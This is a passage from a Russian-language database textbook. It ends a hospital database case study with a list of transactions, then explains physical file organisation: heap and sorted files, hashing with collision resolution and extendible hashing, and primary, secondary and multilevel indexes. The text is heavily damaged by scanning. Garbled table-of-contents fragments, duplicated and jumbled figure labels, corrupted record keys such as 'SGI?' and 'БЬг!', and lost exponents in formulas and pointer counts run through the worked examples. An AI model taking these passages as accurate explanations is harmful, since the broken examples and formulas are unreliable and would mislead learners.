В базе данных больницы также должны храниться сведения о поставщиках хирургических, нехирургических и фармацевтических расходных материалов: название и номер поставщика, адрес, номера телефона и факса. Номер поставщика является уникальным для всех поставщиков.
А.2. Требования к транзакциям
Ниже перечислены транзакции, включающие обработку данных, необходимую сотрудникам больницы для исполнения их повседневных служебных обязанностей. Каждая транзакция связана с конкретными функциями, за выполнение которых отвечают сотрудники больницы, занимающие определенную должность. После описания транзакции в скобках указывается ее основной пользователь или группа пользователей.
Транзакция А. Создание и сопровождение записей со сведениями о сотрудниках (начальник отдела кадров).
Транзакция В. Поиск сотрудников с определенной квалификацией или опытом работы по требуемой специальности (начальник отдела кадров).
Транзакция С. Создание отчета о сотрудниках, работающих в каждой из палат (начальник отдела кадров и заведующие палатами).
Транзакция D. Создание и сопровождение записей со сведениями о пациентах больницы (все сотрудники).
Транзакция Е. Создание и сопровождение записей со сведениями о пациентах, направляемых в амбулаторную клинику (заведующий).
Транзакция F. Создание отчета со сведениями о пациентах, направленных в амбулаторную клинику (заведующий и главврач).
Транзакция G. Создание и сопровождение записей со сведениями о пациентах, направляемых в определенную палату (заведующий).
Транзакция Н. Создание отчета о пациентах, находящихся в некоторой палате (заведующий и главврач).
Транзакция I. Создание отчета о пациентах, записанных в очередь на помещение в некоторую палату (заведующий и главврач).
Транзакция J. Создание и сопровождение записей со сведениями о медикаментах, назначенных определенному пациенту (заведующий).
Транзакция К. Создание отчета о медикаментах, назначенных определенному пациенту (заведующий).
Транзакция L. Создание и сопровождение записей со сведениями о поставщиках расходных материалов в больницу (главврач).
Транзакция М. Создание и сопровождение записей со сведениями о заявках на доставку расходных материалов в конкретную палату (заведующий).
Транзакция N. Создание отчета со сведениями о поставке расходных материалов в отдельные палаты (заведующий и главврач).
овнами
ПРИЛОЖЕНИЕ
труктура данных файлах с? различной
низацией
ожении...
|Кду$первичными и вторичными устройствами
' "’Тбных.:ЯЙЯ|?Д
Езации файла и метода доступа, едовательной организацией.
е последовательные файлы. . а
ечения
иВпЯ^^ЙЯЯйеЙвв®ия Qt^j^^^
||^KC^|||g||g
Б.1. Введение
В этом приложении описываются основные понятия, связанные с физическим хранением базы данных на таких вторичных устройствах хранения, как магнитные и оптические диски. Дело в том, что первичное устройство хранения, т.е. оперативная память компьютера, не подходит для постоянного хранения базы данных. Хотя время доступа к данным в первичной памяти гораздо меньше времени доступа к данным во вторичной памяти, однако первичное устройство хранения недостаточно надежно для постоянного сохранения в нем информации типичной базы данных. Поскольку при выключении источника питания данные в первичном устройстве хранения стираются, оно часто называется устройством временного хранения. И наоборот, данные во вторичном устройстве хранения сохраняются в неизменном состоянии независимо от включения или выключения источника питания, а потому подобные устройства называются устройством постоянного хранения информации. Более того, удельная стоимость хранения единицы данных в первичном устройстве хранения в несколько раз выше, чем во вторичных устройствах, например, чаких как жесткие диски.
В этом приложении кратко рассматриваются основные концепции физического хранения данных. В трех последующих разделах описываются основные типы организации файлов, а именно: последовательные, упорядоченные и хешированные файлы. В разделе Б.5 обсуждается, как индексы могут использоваться для повышения производительности операций извлечения информации из базы данных. В частности, мы рассмотрим индексно-последовательные файлы, многоуровневые индексы и В*-деревья. В главах 9, “Методология физического проектирования реляционных баз данных”, и 12, “Пример разработки физического проекта базы данных”, представлена методика физического проектирования базы данных для реляционных систем, включающая рекомендации по выбору наиболее подходящей файловой структуры для заданной логической модели данных.
Б.1.1. Основные понятия
База данных во вторичном устройстве хранения организована в виде одного или нескольких файлов, каждый из которых состоит из одной или нескольких записей, а каждая запись — из одного или нескольких полей. Как правило, запись соответствует некой сущности, а поле — атрибуту. Рассмотрим сокращенный вариант отношения Staff из учебного проекта DreamHome, показанного в табл. Б.1.
Таблица БЛ • Сокращенный вариант отношения Staff из учебного проекта
DreamHome
Sno
LName
Position
NIN
Bno
SL21
White
Manager
WK440211B
B5
SG37
Beech
Snr Asst
WL432514C
B3
SG14
Ford
Deputy
WL220658D
B3
SA9
Howe
Assistant
WM532187D
B7
SG5
Brand
Manager
WK588932E
B3
SL41
Lee
Assistant
WA290573K
B5
Можно предположить, что каждый кортеж отображается на некоторую запись в файле операционной системы, содержащей отношение Staff. Каждое поле записи хранит один атрибут отношения Staff. Когда пользователь вводит запрос для извлечения кортежа из СУБД (например, кортежа 'SGI?' из отношения Staff), СУБД отображает логическую запись на физическую запись, а затем помещает эту физическую запись в буфер СУБД в первичном устройстве хранения с помощью подпрограмм доступа к файлам операционной системы.
Физическая запись является единицей обмена данными между вторичным и первичным устройствами хранения и наоборот. Обычно физическая запись состоит из нескольких логических записей, хотя иногда, в зависимости от размера, одна логическая запись может соответствовать одной физической записи. Более того, одна логическая запись может даже соответствовать нескольким физическим записям. Иногда вместо понятия “физическая запись” используются термины блок и страница. Дальше в этом приложении мы будем использовать термин “страница”. Например, представленные в табл. Б.1 кортежи отношения Staff могут храниться на двух страницах вторичной памяти так, как показано в табл. Б.2.
Таблица Б.2. Пример сохранения отношения Staff на двух страницах вторичной памяти
Sno
LName
Position
NIN
Впо
Страница
SL21
White
Manager
WK440211B
В5
SG37
Beech
Snr Asst
WL432514C
ВЗ
1
SG14
Ford
Deputy
WL220658D
ВЗ
SA9
Howe
Assistant
WM532187D
В7
SG5
Brand
Manager
WK588932E
ВЗ
2
SL41
Lee
Assistant
WA290573K
В5
Порядок хранения
записей в файле
и доступа к
ним зависит
от структуры, или
организации, файла.
Организация Физическое распределение данных файла по записям и страницам файлана вторичном устройстве хранения.
Существуют следующие основные типы организации файлов.
Последовательная неупорядоченная организация файла обозначает произвольное неупорядоченное размещение записей на диске.
Последовательная упорядоченная организация предполагает размещение записей в соответствии со значением указанного поля.
Хешированные записи хранятся в соответствий со значением некоторой хеш-функции.
Для каждого типа организации файлов используется соответствующий набор методов доступа.
МетодДействия, выполняемые при сохранении или извлечении записей из
доступафайла.
Некоторые методы доступа могут применяться только для определенных типов организации файлов. Например, нельзя применять индексированный метод доступа к файлу, не имеющему индекса. Дальше в этом приложении рассматриваются основные типы структуры файлов и соответствующие им методы доступа. В главе 9, “Методология физического проектирования реляционных баз данных” представлена методика физического проектирования базы данных вместе с рекомендациями по выбору самой подходящей структуры хранения для реляционных систем.
Б.2. Неупорядоченные последовательные файлы
Неупорядоченный последовательный файл (sequential file), который также называется кучей (heap) или грудой (pile), является простейшим типом структуры файлов. Записи размещаются в файле в том порядке, в котором они в него добавляются. Каждая новая запись помещается на последнюю страницу файла, а если на послед-
ней странице для нее не хватает места, то в файл добавляется новая страница. Это позволяет очень эффективно выполнять операции вставки. Однако, поскольку файл подобного типа не обладает никаким упорядочением по отношению к значениям полей, для доступа к его записям потребуется выполнять линейный поиск. При линейном поиске последовательно считываются все страницы файла до тех пор, пока не будет найдена нужная запись. Операции извлечения данных из последовательных неупорядоченных файлов, имеющих несколько страниц, выполняются относительно медленно, за исключением тех случаев, когда извлекаемые записи составляют существенную долю всех записей файла.
Для удаления записи сначала потребуется извлечь нужную страницу, потом удалить нужную запись, а после этого снова сохранить эту страницу на диске. Причем пространство удаленных записей повторно не используется. Следовательно, производительность работы по мере удаления записей будет постоянно уменьшаться. Это означает, что файлы типа “куча” требуют периодической реорганизации, которая должна выполняться администратором базы данных (АБД) с целью освобождения неиспользуемого пространства, образовавшегося на месте удаленных записей.
Последовательные файлы лучше всех остальных типов файлов подходят для выполнения пакетной загрузки данных в таблицы, поскольку записи всегда вставляются в конец файла, что исключает какие-либо дополнительные действия по вычислению страницы, в которую следует поместить ту или иную запись.
Б.З. Упорядоченные последовательные файлы
Записи в файле можно отсортировать по значениям одного или нескольких полей и таким образом образовать набор данных, упорядоченный по некоторому ключу. Поле (или набор полей), по которому сортируется файл, называется полем упорядочения. Рассмотрим, например, приведенный ниже SQL-запрос.
SELECT*
FROM staff
ORDER BY sno;
Если кортежи отношения Staff уже упорядочены по полю Sno, то это сократит время выполнения запроса, так как сортировку выполнять не потребуется. (Когда в разделе 3.2 указывалось, что кортежи отношений не упорядочены, при этом имелось в виду их внешнее (логическое) представление, а не внутреннее (физическое). Дело в том, что, с физической точки зрения, среди записей всегда есть первая, вторая и п-я запись.) Если кортежи упорядочены по полю Sno, то в определенных условиях при обработке запросов можно будет применять бинарный поиск — в тех случаях, когда запрос содержит условие поиска с использованием значения поля Sno. В качестве примера возьмем SQL-запрос, приведенный ниже.
SELECT*
FROM staff
WHERE sno = 'SG37';
Для примера рассмотрим файл с кортежами, представленными в табл. Б.1, причем для простоты предположим, что в каждой странице находится по одной записи. Тогда упорядоченный файл будет выглядеть так, как показано на рис. Б.1. При этом процедура бинарного поиска будет включать следующие этапы.
Извлечение средней страницы для оставшейся на данный момент части файла. Проверка наличия искомой записи между первой и последней записями на этой странице. Если это так, то извлечение страниц прекращается, поскольку требуемая запись находится в данной странице.
Если значение ключевого поля в первой записи этой страницы больше, чем искомое значение, то это значит, что искомая запись (если она существует) находится в одной из предыдущих страниц. Дальше приведенная выше процедура
поиска повторяется для левой половины обрабатываемой части файла Если значение ключевого поля в последней записи страницы меньше, чем искомое значение, то искомое значение находится на последующих страницах. Дальше указанная выше процедура поиска повторяется для правой половины обрабатываемой части файла (как показано на рис. БД). Таким образом, при каждой попытке извлечения страницы область поиска сокращается на половину.
Рис. БЛ. Бинарный поиск в упорядоченном последовательном файле
В нашем случае средней страницей всего файла является страница 3, но запись на этой странице ('SG14') не является искомой ('БСЗ?'). Значение ключевого поля записи на странице 3 меньше требуемого значения, потому вся левая половина файла исключается из области поиска. Теперь следует извлечь среднюю страницу из оставшейся части файла (его правой половины), т.е. страницу 5. На этот раз значение ключевого поля ('БЬг!') больше искомого значения (^SG37r), что позволяет нам исключить из текущей области поиска ее правую половину. После извлечения средней страницы из оставшейся на данный момент части файла (т.е. страницы 4) можно убедиться в том, что именно она и является искомой страницей.
В общем случае бинарный поиск эффективнее линейного, однако этот метод чаще применяется для поиска данных в первичной, а не во вторичной памяти.
Операции вставки и удаления записей в упорядоченном файле усложняются необходимостью поддерживать установленный порядок записей. Для вставки новой записи нужно найти ее месторасположение в заданном упорядочении, а потом найти пространство для вставки. Если на нужной странице достаточно места для размещения новой записи, то тогда потребуется переупорядочить лишь только эту страницу, после чего вывести ее на диск. Если же свободного места недостаточно, то в таком случае потребуется переместить одну или несколько записей в следующую страницу. Аналогично, в следующей странице также может не оказаться достаточно свободного места, и из нее также потребуется переместить некоторые записи в следующую страницу и т.д. Таким образом, вставка записи в начало большого файла может оказаться очень длительной процедурой. Для решения этой проблемы часто используется временный неотсортированный файл, который называется файлом переполнения (overflow file) или файлом транзакции (transaction file). При этом все операции вставки выполняются в файле переполнения, содержимое которого периодически сливается с основным отсортированным файлом. Таким образом, операции вставки выполняются более эффективно, но при этом некоторое отрицательное влияние оказывается на выполнение операций извлечения данных. Если запись не может быть найдена во время бинарного поиска в отсортированном файле, то в таком случае придется выполнить линейный поиск в файле переполнения. И, наоборот, при удалении записи их потребуется реорганизовать так, чтобы удалить пустующие места.
Упорядоченные последовательные файлы довольно редко используются для хранения информации баз данных, за исключением тех случаев, когда для файла организуется первичный индекс (раздел Б.5.1).
Б.4. Хешированные файлы
В хешированном файле записи необязательно должны записываться в файл последовательно. Вместо этого для вычисления адреса страницы, в которой должна находиться та или иная запись, используется хеш-функция (hash function), аргументами которой являются значения одного или нескольких полей этой записи. Подобное поле называется полем перемешивания (hash field), а если поле также является ключевым полем файла, то оно называется хеш-ключом (hash key). Записи в хешированном файле произвольным образом распределены по всему доступному для файла пространству. По этой причине хешированные файлы иногда называют файлами с произвольной структурой (random file) или файлами прямого доступа (direct file).
Хеш-функция выбирается таким образом, чтобы записи внутри файла были распределены максимально равномерно. Один из методов построения хеш-функции носит название свертка (folding) и основан на выполнении некоторых арифметических действий над различными частями поля перемешивания. При этом символьные строки преобразуются в целые числа с использованием некоторой кодировки — на основе расположения букв в алфавите или ASCII-кодов символов. Например, можно преобразовать в целое число первых два символа поля номера сотрудника (атрибут Sno), а затем сложить полученное значение с остальной частью номера сотрудника. Вычисленная сумма используется в качестве адреса дисковой страницы, на которой будет храниться данная запись. Более популярный альтернативный метод основан на перемешивании на основе остатка от деления (division-remainder). В этом методе используется функция MOD, на вход которой передается значение поля. Функция делит полученное значение на некоторое предопределенное целое число, после чего остаток от деления использует в качестве адреса.
Проблема, связанная с использованием большинства хеш-функций, заключается в том, что они не могут гарантировать уникальность вычисляемого адреса, поскольку количество возможных значений поля перемешивания может быть гораздо больше количества доступных для записей адресов. Каждый вычисленный хеш-функцией адрес соответствует некоторой странице, или сегменту (bucket), с несколькими ячейками — слотами, — предназначенными для отдельных записей. В пределах одного сегмента записи размещаются в слотах в порядке поступления. Тот случай, когда один и тот же адрес генерируется для двух или более записей, называется конфликтом (collision), а подобные записи — синонимами. В этой ситуации новую запись необходимо вставить в другую позицию, поскольку место с вычисленным для нее хеш- адресом уже занято. Разрешение конфликтов усложняет сопровождение хешированных файлов и снижает общую производительность их работы.
Для разрешения конфликтов можно использовать следующие методы:
открытую адресацию;
несвязанную область переполнения;
связанную область переполнения;
многократное хеширование.
Открытая адресация
При возникновении конфликта система выполняет линейный поиск первого доступного слота для вставки в него новой записи. После неудачного поиска пустого слота в последнем сегменте поиск продолжается с первого сегмента. При выборке записи используется тот же метод, который применялся при сохранении записи, за исключением того, что запись в данном случае рассматривается несуществующей, если до обнаружения искомой записи будет обнаружен пустой слот. Например, рассмотрим тривиальную хеш-функцию на основе остатка от деления по модулю 3 (MOD 3), как показано на рис. Б.2. Каждый сегмент обладает двумя слотами, поэтому записи о сотрудниках ^SG5r и ^SG14г попадают в сегмент 2. При вставке записи 'SLAV хеш- функция генерирует адрес, соответствующий сегменту 2. Но в сегменте 2 нет свобод-
ных слотов, поэтому следует найти первый свободный слот. Такой слот имеется лишь в сегменте 1, который и будет найден после продолжения линейного поиска с начала файла и безуспешного просмотра сегмента 0.
ДоСегмент^Запись о работнике SA9 ^ : Запись о работнике SL21 Ж0L Запись о работнике SG37 ^1; Запись о работнике SG5 В 1 Запись о работнике SG14 ^2ДоСегмент^Запись о работнике SA9 ^ : Запись о работнике SL21 Ж0L Запись о работнике SG37 ^1; Запись о работнике SG5 В 1 Запись о работнике SG14 ^2ПослеСегментЗапись о работнике SA9 1Запись о работнике SL21 10■ Запись о работнике SG371 Запись о работнике SL41 И1Запись о работнике SG5 |Запись о работнике SG14 82ПослеСегментЗапись о работнике SA9 1Запись о работнике SL21 10■ Запись о работнике SG371 Запись о работнике SL41 И1Запись о работнике SG5 |Запись о работнике SG14 82
До
Сегмент
^Запись о работнике SA9 ^ : Запись о работнике SL21 Ж
0
L Запись о работнике SG37 ^
1
; Запись о работнике SG5 В 1 Запись о работнике SG14 ^
2
До
Сегмент
^Запись о работнике SA9 ^ : Запись о работнике SL21 Ж
0
L Запись о работнике SG37 ^
1
; Запись о работнике SG5 В 1 Запись о работнике SG14 ^
2
После
Сегмент
Запись о работнике SA9 1
Запись о работнике SL21 1
0
■ Запись о работнике SG371 Запись о работнике SL41 И
1
Запись о работнике SG5 |
Запись о работнике SG14 8
2
После
Сегмент
Запись о работнике SA9 1
Запись о работнике SL21 1
0
■ Запись о работнике SG371 Запись о работнике SL41 И
1
Запись о работнике SG5 |
Запись о работнике SG14 8
2
Рис. Б.2. Разрешение конфликта с помощью открытой адресации
Несвязанная область переполнения
СегментСегментО12О12Область переполнения СегментОбласть переполнения СегментВместо поиска пустого слота для разрешения конфликтов можно использовать область переполнения, предназначенную для размещения записей, которые не могут быть вставлены по вычисленному для них адресу перемешивания. На рис. Б.З показано, как в этом случае разрешается конфликтная ситуация, представленная на рис. Б.2. В данном случае вместо поиска свободного слота для записи /SL41' она сразу же помещается в область переполнения. На первый взгляд может показаться, что этот подход не дает большого выигрыша в производительности. Однако при более внимательном анализе обнаруживается, что при использовании открытой адресации конфликты, устраненные с помощью первого свободного слота, потенциально вызывают дополнительные конфликты с записями, которые будут иметь хеш-значение, равное адресу этого раньше свободного слота. Таким образом, количество конфликтов будет возрастать, а производительность — падать. С другой стороны, если количество конфликтов можно свести к минимуму, то линейный поиск в малой области переполнения будет выполняться достаточно быстро.
Сегмент
Сегмент
О
1
2
О
1
2
Область переполнения Сегмент
Область переполнения Сегмент
Записьоработнике SA9 v
Записьоработнике SL21 М
бЗЙЬь о работнике SG5 ^ Йапись о работнике SG14 X
Рис. Б.З. Разрешение конфликта с помощью несвязанной области переполнения
Связанная область переполнения
Как и в предыдущем методе, в этом методе для разрешения конфликтов с записями, которые не могут быть размещены в слоте с их адресом перемешивания, используется область переполнения. Однако в данном методе каждому сегменту выделяется дополнительное поле, которое иногда называется указателем синонима. Оно определяет наличие конфликта и указывает страницу в области переполнения, использованную для его разрешения. Если указатель равен нулю, то никаких конфликтов нет. На рис. Б.4 сегмент 2 указывает на сегмент переполнения 3, а указатели синонима сегментов 0 и 1 равны нулю, что означает, что в этих сегментах конфликтов нет.
Сегмент
' Запись о работнике SA9 ^
Запись о работнике SL21 ^
Запись о работнике SG37 g
О
О
/ Запись о работнике SG5 ^Запись о работнике SG14
3
О
1
2
Область переполнения Сегмент
3
4
Запись о работнике SL41 в
Рис. Б.4. Разрешение конфликта с помощью связанной области переполнения
Для более быстрого доступа к записи переполнения можно использовать указатель синонима, который указывает на адрес слота внутри области переполнения, а не на адрес сегмента. Записи внутри области переполнения также имеют указатели синонима, которые содержат в области переполнения адрес следующего синонима для такого же адреса, поэтому все синонимы одного адреса могут быть извлечены с помощью цепочки указателей.
Многократное хеширование
Альтернативный подход для разрешения конфликтов заключается в применении второй функции хеширования, если первая функция приводит к возникновению конфликта. Цель второй хеш-функции заключается в создании нового адреса перемешивания, который позволил бы избежать конфликта. Вторая хеш-функция обычно используется для размещения записей в области переполнения.
При работе с хешированными файлами запись может быть достаточно эффективно найдена с помощью первой хеш-функции, а в случае возникновения конфликта для определения ее адреса следует применить один из перечисленных выше способов. Прежде чем обновить хешированную запись, ее следует найти. Если обновляется значение поля, которое не является хеш-ключом, то такое обновление может быть выполнено достаточно просто, причем обновленная запись сохраняется в том же слоте. Но если обновляется значение хеш-ключа, то в этом случае до размещения обновленной записи потребуется вычислить хеш-функцию. Если при этом будет получено новое хеш-значение, то исходная запись должна быть удалена из текущего слота и сохранена по вновь вычисленному адресу.
Б.4.1. Динамическое хеширование
Перечисленные выше методы хеширования являются статическими , в том смысле, что пространство хеш-адресов фиксируется непосредственно при создании файла. Говорят, что пространство файла уже насыщено, когда оно уже почти полностью заполнено и администратор базы данных вынужден реорганизовать его хеш- структуру. Для этого может потребоваться создать новый файл большего размера, выбрав новую функцию хеширования и отобразив старый файл на новый. В альтернативном подходе, получившем название динамического хеширования, допускается динамическое изменение размера файла с целью его постоянного приспособления к росту или сокращению размеров базы данных.
В литературе опубликовано несколько разных методов динамического хеширования (Larson, 1978; Fagin et al., 1979; Litwin, 1980). Основной принцип динамического хеширования заключается в обработке числа, генерированного хеш-функцией в виде последовательности битов, и распределении записей среди сегментов на основе прогрессивной оцифровки этой последовательности. Динамическая хеш-функция генерирует значения в широком диапазоне, а именно d-битовые бинарные целые числа, где b обычно равно 32. Рассмотрим кратко один тип динамического хеширования, который называется расширяемым хешированием.
Сегменты создаются по мере того, как они требуются. Вначале записи добавляются только в первый сегмент, и так продолжается до тех пор, пока он не будет полностью заполнен. В этот момент сегмент расщепляется на части, количество которых зависит от числа / битов в хеш-значении, где 0 < i < b. Эти биты используются в качестве смещения в таблице адресов сегмента (Bucket Address Table — ВАТ) или каталоге. Значение i изменяется при изменении размера базы данных. Каталог имеет заголовок, в котором хранится текущее значение i (глубина) вместе с 21 указателями. Аналогично, для каждого сегмента существует индикатор локальной глубины, который содержит значение /, используемое для определения адреса этого сегмента. На рис. Б.5 приведен пример использования технологии расширяемого хеширования. Предположим, что каждый сегмент имеет пространство для двух записей, а хеш- функция заключается в использовании числовой части номера сотрудника Sno.
КаталогКаталогООГлубинаГлубинаООЛокальная глубинаЛокальная глубинаОО(а)(а)Юписьоработнике SL21 ■^письрработйике SG37 ЩЮписьоработнике SL21 ■^письрработйике SG37 Щ0011оо1111(б)(б)Запись о работнике SG37Запись о работнике SG37Запись о работнике SL21 ЦЗапись о работнике SG14 ■Запись о работнике SL21 ЦЗапись о работнике SG14 ■00112200002201011010111111(в)(в)Запись 6 работнике SA9 ВЗаписьо работнике SG14 ■Запись 6 работнике SA9 ВЗаписьо работнике SG14 ■оо2211Сегмент
Каталог
Каталог
О
О
Глубина
Глубина
О
О
Локальная глубина
Локальная глубина
О
О
(а)
(а)
Юписьоработнике SL21 ■
^письрработйике SG37 Щ
Юписьоработнике SL21 ■
^письрработйике SG37 Щ
0
0
1
1
о
о
1
1
1
1
(б)
(б)
Запись о работнике SG37
Запись о работнике SG37
Запись о работнике SL21 Ц
Запись о работнике SG14 ■
Запись о работнике SL21 Ц
Запись о работнике SG14 ■
0
0
1
1
2
2
00
00
2
2
01
01
10
10
1
1
11
11
(в)
(в)
Запись 6 работнике SA9 В
Записьо работнике SG14 ■
Запись 6 работнике SA9 В
Записьо работнике SG14 ■
о
о
2
2
1
1
Рис. Б.5. Пример использования технологии расширяемого хеширования: а) после вставки записей 'SL21' и 'SG37'; б) после вставки записи 'SGU'; в) после вставки записи 'SA9'
На рис. Б.5, а показан каталог и сегмент 0 после вставки записей 'SL21' и 'SG37'. При вставке записи ySG14' обнаруживается, что сегмент 0 уже заполнен и его необходимо расщепить с использованием наибольшего значащего бита хеш-значения, как показано на рис. Б.5, б. Каталог содержит 21 указателя для бинарных значений 0 и 1 (I * 1). Глубина каталога и локальная глубина каждого сегмента равна 1. Затем при вставке записи 'SA9г сегмент 0 снова переполняется и его нужно расщепить с ис-
пользованием наибольшего значащего бита хеш-значения. Теперь каталог содержит 22 указателей для бинарных значений 00, 01, 10 и 11 (i = 2). Глубина каталога и локальная глубина сегментов 0 и 1 равна 2. Обратите внимание на то, что сегмент 1 при этом остается в прежнем состоянии, а потому биты 10 и 11 каталога указывают на этот сегмент, а указатель локальной глубины для сегмента 1 остается равным 1.
Если в результате удаления записей сегмент опустошается, он может быть удален вместе с его указателем в каталоге. В некоторых схемах возможно слияние малых сегментов и уменьшение вдвое размера самого каталога.
Б.4.2. Ограничения, свойственные методу хеширования
Использование метода хеширования для извлечения записей основано на полностью известном значении хеш-поля. Поэтому, вообще говоря, хеширование не подходит для операций извлечения данных по заданной маске или диапазону значений. Например, для поиска значений хеш-поля в заданном диапазоне потребуется использовать хеш-функцию, сохраняющую упорядочение, другими словами, если rain и гмх являются минимальным и максимальным пределами диапазона, то потребуется такая хеш-функция Л, для которой соблюдается неравенство h(r^n) < hfr^). Более того, хеширование не подходит для поиска и извлечения данных по любому другому полю, отличному от поля перемешивания. Например, если таблица Staff хранится как перемешанная по полю Sno, то такой хешированный файл не может быть использован для поиска записи по значению поля LName. В этом случае потребуется выполнить линейный поиск для нахождения нужной записи или использовать поле LName в качестве вторичного индекса (раздел Б.5.2).
Б.5. Индексы
В этом разделе рассматриваются более эффективные методы поиска и извлечения данных на основе использования индексов.
Индекс Структура данных, которая помогает СУБД быстрее обнаруживать отдельные записи в файле, а потому позволяет сократить время выполнения запросов пользователей.
Индекс в базе данных аналогичен предметному указателю, приведенному в конце книги. Это структура, связанная с файлом и предназначенная для поиска информации по тому же принципу, что и предметный указатель в книге. Индекс позволяет избежать проведения последовательного или пошагового сканирования файла в поисках нужных данных. При использовании индексов в базе данных искомым объектом может быть одна или несколько записей файла. Как и предметный указатель данной книги, индекс базы данных упорядочен, и каждый элемент индекса содержит название искомого объекта, а также один или несколько указателей (идентификаторов записей) на место его расположения.
Структура индекса связана с определенным ключом поиска и содержит записи, состоящие из ключевого значения и адреса логической записи в файле, содержащей это ключевое значение. Файл, содержащий логические записи, называется файлом данных, а файл, содержащий индексные записи, — индексным файлом. Значения в индексном файле упорядочены по полю индексирования, которое обычно строится на базе одного атрибута. Если файл данных имеет последовательное упорядочение, а поле индексирования является ключевым полем этого файла, т.е. гарантированно содержит уникальные значения для всех записей в файле, то такой индекс называется первичным индексом. Если поле индек-
сирования (являющееся одновременно полем упорядочивания) не является ключевым полем файла и по этой причине одному индексному значению может соответствовать несколько записей файла, то такой индекс называется индексом кластеризации. Индекс, который определен на поле файла, отличном от поля его упорядочивания, называется вторичным индексом. Файл может иметь, по крайней мере, один первичный индекс или один индекс кластеризации, а также (дополнительно) несколько вторичных индексов. Индекс может быть разреженным (sparse) или плотным (dense): разреженный индекс содержит индексные записи только для некоторых ключевых значений поиска в данном файле, а плотный индекс имеет индексные записи для всех ключевых значений поиска в данном файле.
Б.5.1. Индексно-последовательные файлы
Отсортированный файл данных с первичным индексом называется индексированным последовательным файлом, или индексно-последовательным файлом. Эта структура является компромиссом между файлами с последовательной и произвольной организацией. В таком файле записи могут обрабатываться как последовательно, так и выборочно, с произвольным доступом, осуществляемым на основе поиска по заданному ключевому значению с использованием индекса. Индексированный последовательный файл имеет более сложную структуру, которая обычно включает следующие компоненты:
первичная область хранения;
отдельный индекс или несколько индексов;
область переполнения.
Подобная организация файлов используется в методе индекснопоследовательного доступа ISAM (Indexed Sequential Access Method), разработанного фирмой IBM, который тесно связан с характеристиками используемого оборудования. Для поддержания высокой эффективности работы файлов такого типа их следует периодически подвергать реорганизации. Позже на базе метода доступа ISAM был разработан метод виртуального последовательного доступа VSAM (Virtual Sequential Access Method), обладающий полной независимостью от особенностей аппаратного обеспечения. В нем не предполагается использование специальной области переполнения, но в области данных выделено пространство, предназначенное для расширения. В случае роста или сокращения размера файла этот процесс управляется динамически, без необходимости периодического выполнения реорганизации. На рис. Б.6 показан пример плотного индекса для отсортированного файла с записями таблицы Staff. Поскольку записи в файле данных отсортированы, размер индекса можно сократить и вместо плотного индекса использовать разреженный, пример которого показан на рис. Б.7.
Обычно большая часть первичного индекса может храниться в первичной памяти, что позволяет обрабатывать его существенно быстрее. Для ускорения поиска могут применяться специальные методы доступа, например метод бинарного поиска, уже рассмотренный в разделе Б.З. Основным недостатком использования первичного индекса (как и при работе с любым другим отсортированным файлом) является необходимость поддержания порядка сортировки при вставке и удалении записей. Эти проблемы усложняются тем, что требуется поддерживать порядок сортировки как в файле данных, так и в файле индекса. В подобном случае может использоваться метод, заключающийся в организации области переполнения и цепочки связанных указателей, аналогично методу, используемому для разрешения конфликтов в хешированных файлах (этот метод описывался в разделе Б.4).
ИндексФайл данныхИндексФайл данныхСтраница123Страница123Рис. Б.6. Пример плотного индексаРис. Б.6. Пример плотного индекса
ИндексФайл данных
ИндексФайл данных
Страница
1
2
3
Страница
1
2
3
Рис. Б.6. Пример плотного индекса
Рис. Б.6. Пример плотного индекса
Файл данныхФайл данныхСтраница123Страница123Рис. Б.7. Пример разреженного индексаРис. Б.7. Пример разреженного индекса
Файл данных
Файл данных
Страница
1
2
3
Страница
1
2
3
Рис. Б.7. Пример разреженного индекса
Рис. Б.7. Пример разреженного индекса
Б.5.2. Вторичные индексы
Вторичный индекс также является отсортированным файлом, аналогичным первичному индексу. Однако связанный с первичным индексом файл данных всегда отсортирован по ключу этого индекса, тогда как файл данных, связанный со вторичным индексом, необязательно должен быть отсортирован по индексному ключу. Кроме того, ключ вторичного индекса может содержать повторяющиеся значения, что не допускается для значений ключа первичного индекса. Например, для таблицы Staff можно создать вторичный индекс по полю номера отделения компании Впо. Из табл. Б.1 видно, что эти значения не являются уникальными. Для работы с такими повторяющимися значениями ключа вторичного индекса обычно используются перечисленные ниже методы.
Создание плотного вторичного индекса, который соответствует всем записям файла данных, но при этом в нем допускается наличие дубликатов.
Создание вторичного индекса со значениями для всех уникальных значений ключа. При этом указатели блоков являются многозначными, поскольку каждое его значение соответствует всем дубликатам ключа в файле данных.
Создание вторичного индекса со значениями для всех уникальных значений ключа. При этом указатели блоков указывают не на файл данных, а на сегмент, который содержит указатели на соответствующие записи файла данных.
Вторичные индексы повышают производительность обработки запросов, в которых в качестве аргументов поиска используются обычные атрибуты, а не значения первичного ключа. Однако такое повышение производительности запросов должно быть сбалансировано с объемом дополнительной обработки, необходимой для поддержания индексов при обновлении информации в базе данных. Эта задача является частью этапа физического проектирования базы данных, речь о котором шла в главе 9, “Методология физического проектирования реляционных баз данных0.
Б.5.3. Многоуровневые индексы
При возрастании размера индексного файла и расширении его содержимого на большое количество страниц время поиска нужного индекса также значительно возрастает. Например, при использовании метода бинарного поиска требуется выполнить приблизительно logaP операций доступа к индексу с р страницами. Обратившись к многоуровневому индексу, можно попробовать разрешить эту проблему путем сокращения диапазона поиска. Данная операция выполняется над индексом аналогично тому, как это делается в случае файлов другого типа, т.е. посредством расщепления индекса на несколько субиндексов меньшего размера и создания индекса для этих субиндексов. На рис. Б.8 показан пример двухуровневого частичного индекса для таблицы Staff, содержимое которой представлено в табл. БД. На каждой странице файла данных могут храниться две записи. Кроме того, на каждой странице индекса также хранятся две индексные записи (это принято из соображений наглядности, хотя на практике в каждой такой странице может сохраняться намного больше индексных записей). Каждая индексная запись содержит значение ключа доступа и адрес страницы. Хранимое значение ключа доступа является наибольшим на адресуемой странице.
Рис. Б.8. Пример многоуровневого индекса
При поиске записи по заданному значению атрибута Sno (например, /SG14г) работа начинается с индекса второго уровня, в котором отыскивается первая страница, у которой значение последнего ключа доступа больше или равно 'SG14'. В данном случае значение последнего ключа равно 'SG37'. Найденная запись содержит адрес страницы индекса первого уровня, в которой следует продолжить поиск. Повторяя описанный процесс, мы попадем на страницу 2, где и находится искомая запись. Для поиска записей с указанием некоторого диапазона значений атрибута Sno можно использовать этот процесс, чтобы обнаружить первую запись в файле данных, которая соответствует самому меньшему значению диапазона. Поскольку все записи в файле данных отсортированы по полю Sno, остальные записи могут быть найдены с помощью последовательного чтения файла данных.
